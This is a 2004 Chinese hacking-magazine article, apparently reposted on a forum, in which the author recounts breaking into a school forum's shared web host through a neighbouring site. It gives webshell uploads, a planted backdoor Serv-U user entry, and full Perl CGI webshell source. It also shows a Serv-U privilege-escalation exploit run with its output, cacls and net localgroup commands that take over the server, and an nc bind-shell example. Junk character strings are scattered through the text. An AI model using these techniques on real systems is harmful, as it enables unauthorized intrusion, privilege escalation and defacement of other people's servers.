剑走偏锋——灵巧的旁注攻击 / y$ z& I* I9 j' C& C) Q* W
本文作者:angel
. T3 i) X5 j5 @, G2 O# G8 k文章性质:原创8 l1 T6 E7 D5 s9 b( S# h( n( Z
发布日期:2004-11-09 2 q, o& b( J) G4 j
注意:
S9 {+ R9 \/ ^3 ?本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。' o( c6 C* H: |: B" r. M$ O
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。) Q4 ^* {# F6 c, x& `# `
1 K! u6 v9 i8 h' A/ A5 E" V 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 8 K& L4 N% c1 m$ G* H4 L6 E; ?' u
* b, D( y. J7 C( N
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 5 H# f$ h; b. r2 U
/ a. |' ]2 ?, t/ d* G/ N# _ 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 7 J6 ^, f" a Q
* {. q2 `$ F- ^ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
; N* G/ y5 |3 d. X% Y& {8 Z( C9 r. D1 D6 U9 o2 `, A9 H8 T) p
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ) [) z& C! V k9 p6 a
7 b1 |8 M# p! a4 e S( o
没有目的的跳转目录着…… ) V, f1 G! L3 X5 m, O
% n( |, Z3 V7 D: r7 m' Y% s 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
' |- H& r' K* z# g. e2 \8 ?0 T: w w1 M- L
结束了吗?不,我试着 FTP 一下: " K& W! |) q7 C i7 Y
) J# h1 L. Z9 @, h9 {) V: h; m8 yMicrosoft Windows 2000 [Version 5.00.2195]
/ O6 r+ e' _% x2 R(C) 版权所有 1985-2000 Microsoft Corp.
w E! E) y4 b% v- J- @" e M/ C7 d( D5 M" L
C:\Documents and Settings\Administrator>ftp www.school.com4 z" G# Z: Q: ]* _- c
Connected to www. school.com.
: d0 Y# y' p8 p8 d% R! E220 Welcome to FTP Server... ) ^ r. S2 H( T, K+ R8 g' b
User (www.bjtrq.com:(none)):
D: N2 q4 y& a/ a( d331 User name okay, need password. ) }; ~. J& v3 E! k9 N. U6 f5 Q
Password: - o0 Q" s* n V% l6 i0 E) E
530 Not logged in. # W0 w8 x1 {; m+ }( Z- o$ N" G
Login failed. ' c% \8 F3 j" `
ftp> bye
/ g9 D1 N- ^8 s% N; C3 a221 Goodbye! - Y( N8 v) g2 L3 |* P
T# z5 `$ w" P9 e, h- w2 S
& d! x( A: `4 N" a
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 6 n9 ?* L: {" |; [
# V2 v+ L- u1 x$ n9 t8 k3 }8 j
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 2 u. v* h7 v8 r3 W+ I1 F* b
* C1 ^0 U {" G& e3 G7 r3 K! p$ ?
Application Data
; N+ S4 B5 k1 V: y5 ~Documents
$ k# ]( P8 G3 q* l7 ^; V UDRM
^- A0 ] g1 D! X+ I5 gFavorites- w0 c' I" H4 C- x" X
Templates
$ S3 q2 h6 W+ r3 A「开始」菜单
. }# N6 c. D0 K9 m/ ]桌面+ K6 I, ^# g) e( N& ?/ B
" Y; c; S- O" s+ |7 P$ l' Q1 q7 b2 q& R
& R* `2 v5 ^ l0 c
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
4 c1 i( ~9 k9 t6 A
- x% W$ F* @9 O: TActiveState ActivePerl 5.87 l! R4 Q8 b! D' L" u. P
Administrative Tools V- |" e2 k& W: k3 `7 L# ^
Deerfield.com
- R! y: c9 _& \' W l% M( ]DTemp
' V/ v( z% c( d& D8 _/ _* eIPSentry
; l4 d$ Y+ W2 Q. [5 @9 ZMBM 5
( m: O% ]+ s) x3 x1 [; aNetMeter; M" o4 L+ }, m0 r
Network ICE9 V# k3 z- T- a' |
Persits Software AspEmail
+ r- L# i0 ^& G* |Persits Software AspJpeg
0 {5 T+ ] g# a8 @8 D: W0 ^Serv-U FTP Server
! _* d4 y9 }9 G$ U$ {) dSymantec Client Security
0 C; p' A; E% Q' rWindows 优化大师/ ~ O" n! {' @$ s9 L. y. I
WinRAR
) Y( k$ ]' A# ^$ D0 R( F, m5 _启动; ^8 r; t0 y8 B a$ d
管理工具
! V. n! Z$ U, u$ \附件, ~8 S3 P- K! d) F: |1 h
t* g5 ~$ e, @2 A6 \
, W3 s" k# ?7 h 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
- T5 D [. o+ o+ y. B
f; f. r/ T* o9 r# d 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
* t2 J- A4 N7 I. e6 ^# `0 B& T' h) C t! d$ G0 Z! h7 K
User281=angel|1|0
8 W5 J9 R8 c$ M& W6 |. P
8 F* @- E/ F4 r0 R1 P3 E$ `' X5 Y! Q2 ]' g$ R
然后加上
+ R: `; \, |! \! {; n, f
+ |( x* n" U- C[USER=angel|1]
, K7 w7 |( i, M0 ?: Y5 N$ ]Password=ng98F85379EA68DBF97BAADCA99B69B805
6 h& \/ T) D: @9 A+ M6 h- bHomeDir=D:\websites
1 O' f- J1 Z3 L6 t# z9 |6 kRelPaths=1
1 p% T, r& W$ D7 p& eTimeOut=600
7 m5 ], H( q9 |: ]% U# rMaintenance=System7 C+ I8 K8 m$ C% M+ J7 V' O/ ~
Access1=D:\websites|RWAMELCDP9 O: g2 i! y: }5 D \
SKEYValues=6 g8 U$ Y, K2 _
3 K8 E, T, l0 Y# K2 ~" m
/ ]3 s" _) A! K- [2 H
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… , h2 \- m: u" o9 k T
4 y% b. g- {6 ]4 f# [% B( z% s% m" }9 V5 Z
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 9 B/ h+ D% i6 c% h+ A; M( h
. j/ _* Y5 ?, y3 ^ 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
1 e- @, Z7 c% r( X
2 Q& ~% R9 X, j( A9 ^# O7 R7 `; e 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: $ S( ]0 E7 E: `' J( P
- ~; L8 E- Q2 w* D( f: `- E6 m#!/usr/bin/perl
) K0 a! k0 U$ E' j8 g& V- H4 {binmode(STDOUT);
* d- e( b/ U1 q* U; V' F" Hsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
/ I4 \: m+ {+ g7 |/ v( g$_ = $ENV{QUERY_STRING};
# b d7 h! V! ?0 j# ys/%20/ /ig;: x# q1 k5 p% {: r
s/%2f/\//ig;
! n0 i' e& A D3 a, ]$execthis = $_;& y6 ]: j# g+ m. j8 [ ]% s8 i( V
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);1 V# G' o; d" O1 L( A
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
& h# I4 d. \+ a" F( W* q4 C% y) Msystem($execthis);$ d7 s0 S: }( `) h3 H! H
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);" R0 m8 U/ D& ^$ c# o% \2 G- h+ ]' s
close(STDERR);
! H9 Q k4 F, [+ ~9 u) Tclose(STDOUT);
( o- I2 ~* a9 ]3 o7 uexit;1 @" _0 k6 J+ `- c# i. I0 ~
" K7 l/ @1 y y [) m5 S( d& D% P" q1 h' ]9 a
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! + V" T( Z' ^; X& M3 k
# h3 ?' I. ^6 J 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
' {9 `% }7 S, P* y3 r$ G/ p. y. R
- E: x" N; h# K: y' g G% N3 j. ~http://anyhost//cmd.pl?d:\user\bin\su.exe ! G2 W; A0 C! I! b- B; I
. N* _( Q3 E. }! B+ e$ z
. ], I9 u5 J" ]8 \ 返回: * n" L4 V, @3 R7 {
" V2 f! _4 D q7 j( F6 g$ C$ dServ-u >3.x Local Exploit by xiaolu
' I- b0 ]. p+ p8 R
5 N3 a) G% ]2 j- \, O; v! wUSAGE: serv-u.exe "command"
% N) S8 l7 o D- w1 A+ X6 f7 d% @! z, I% b [ Z' D
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 0 P" B9 {3 i- C& k
: X1 K0 ~+ y; A& W! m9 W5 F$ y4 @) r7 ^6 i% w. E; ?
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
2 O. s! ?4 O$ p& L8 v: f- S5 p; r: _' \& q2 e0 C) m2 V1 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ; J% @# B1 O7 J; ?( M! s
( R( }4 {; Y0 T+ j5 E- Fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" h$ `8 u! V3 Z% t$ B. z
8 V* q, W$ D( U: ~0 Bhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" & o6 g* U( ?; m7 i$ H2 r
% |( X$ b3 u% L5 c) e G8 ^. n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
- t: V! M* p: `# L4 B0 h% X1 | : x `4 @2 p+ z' P, A
2 [0 C. i3 Y4 S% [# ~
返回下面的信息,就表示成功了!!! 9 L p$ w- R% |' v
: A4 G# q$ [2 C' GServ-u >3.x Local Exploit by xiaolu + B" A2 M/ o# a% R) s# \
& T$ t( R7 ^2 H- v7 D<220 Serv-U FTP Server v5.2 for WinSock ready...
+ A2 @7 z9 s* a4 B$ s7 D; p
* ~, b) c6 J9 z>USER LocalAdministrator / d0 K3 l5 a3 I1 |
2 a* I% u( n! D1 O
<331 User name okay, need password.
9 \' b! |& r$ h2 d& Y7 y/ E T3 ^( v/ ]3 i# c3 l
******************************************************
+ s- K. K% c( f! M; h! }# T% Y* T
- ?5 E% ~/ E9 t$ s4 N>PASS #l@$ak#.lk;0@P ' T7 ]) y3 T( U& }+ P3 }) G
9 b% E' R$ o2 z9 g) {+ y; A; L$ @<230 User logged in, proceed.
( A1 _& Y1 q' \1 P- Y( U8 F2 j& @) c$ Z
, _1 v' |/ {+ }****************************************************** & j, T B) i- F4 k- `* \$ F& _6 W
3 [+ B# [1 p6 ]. M1 N>SITE MAINTENANCE 8 X7 p) B9 `6 ~. b1 b+ \4 R
! ]3 l! Q c- b1 t
******************************************************
% n$ n* Z( |1 \5 w6 I$ P0 N7 X! f$ E* |- k! h( i4 N" ^% _
[+] Creating New Domain...
% S9 Y! n1 s9 ^. W/ [7 s
$ R" j' c4 `: z2 y8 L<200-DomainID=2 & E9 w% f1 F' A6 r" Z/ m
% B; S( U/ F9 P: A<220 Domain settings saved
2 r6 a3 Z4 M; h7 t: s# E* v- e
. z* I+ \. c7 F8 b******************************************************
1 d9 E, T6 E+ ^* z" H v) R7 A! f/ @4 h1 H8 n. |
[+] Domain xl:2 Created + `# B4 ?# t7 V3 x3 i8 W1 |$ P
$ U* a3 z. N! k7 ]0 k3 _2 f
[+] Creating Evil User , J, l- m5 R4 q3 X! X
. j! C3 t& v; L! ^<200-User=xl
# G6 J& N* z6 w' a1 \8 h/ v9 R7 _( U& d7 I7 |/ }1 X
200 User settings saved / b9 i4 R- O- c. q8 n" x
3 ^. }8 |. m4 ^. ^& j- Y) p
****************************************************** * ?+ Y3 F4 K4 f* x
o7 t( [- n; G, W[+] Now Exploiting...
8 x. n. {+ P% I5 v/ }- H' g3 D# _( l* a. d
>USER xl + Y: n3 k6 L& t, r* b
" N2 n- Y$ B9 x* u5 u& X
<331 User name okay, need password. + z' U" r2 ^5 k y* @
1 M) y5 ]" o3 U; t+ Q****************************************************** * w7 |+ I. U& }
# @4 e3 ]' D% G2 \8 U. `( q/ N>PASS 111111 4 d x9 B. n! m! A* y5 q
2 W" H3 Z8 d+ K! l6 Y<230 User logged in, proceed. 8 \! n8 L$ Q6 d
7 ]* ]- h/ O& F2 e, l# Q v****************************************************** ( O! [0 f N5 x6 A% e) I
! ^- V) l! H [, I9 N
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
+ Z0 J4 }6 v2 s t
9 b" }: y0 H+ }# Z0 t5 l( \<220 Domain deleted
3 t D% K. T* F! ^) Z' o e: t; d
. ?: {: V& |/ y7 m5 R******************************************************
) n$ {0 x$ U% v( R 7 X, B( @4 e' n% @ ^: ]
& b* O+ F0 V8 t8 Z3 s2 l& U 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: $ U! V9 o9 H: H1 M% U
0 p( m8 j! K5 Q1 N, Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
- u+ A" _! ]! O: F ! {4 f$ K% A1 o& b. x7 w% T) h6 Z2 E
7 }0 v4 v3 A! U' T1 F5 [5 M$ ] 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
; `' B5 Y5 p8 ?( t" U* c* g' t X4 m5 y; w: k6 m
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。* G" R, }, n$ a* N% O0 y: v* C$ z
# ?! f; C% v$ Y% L1 `3 O
* j t9 X' ^) r' g2 k |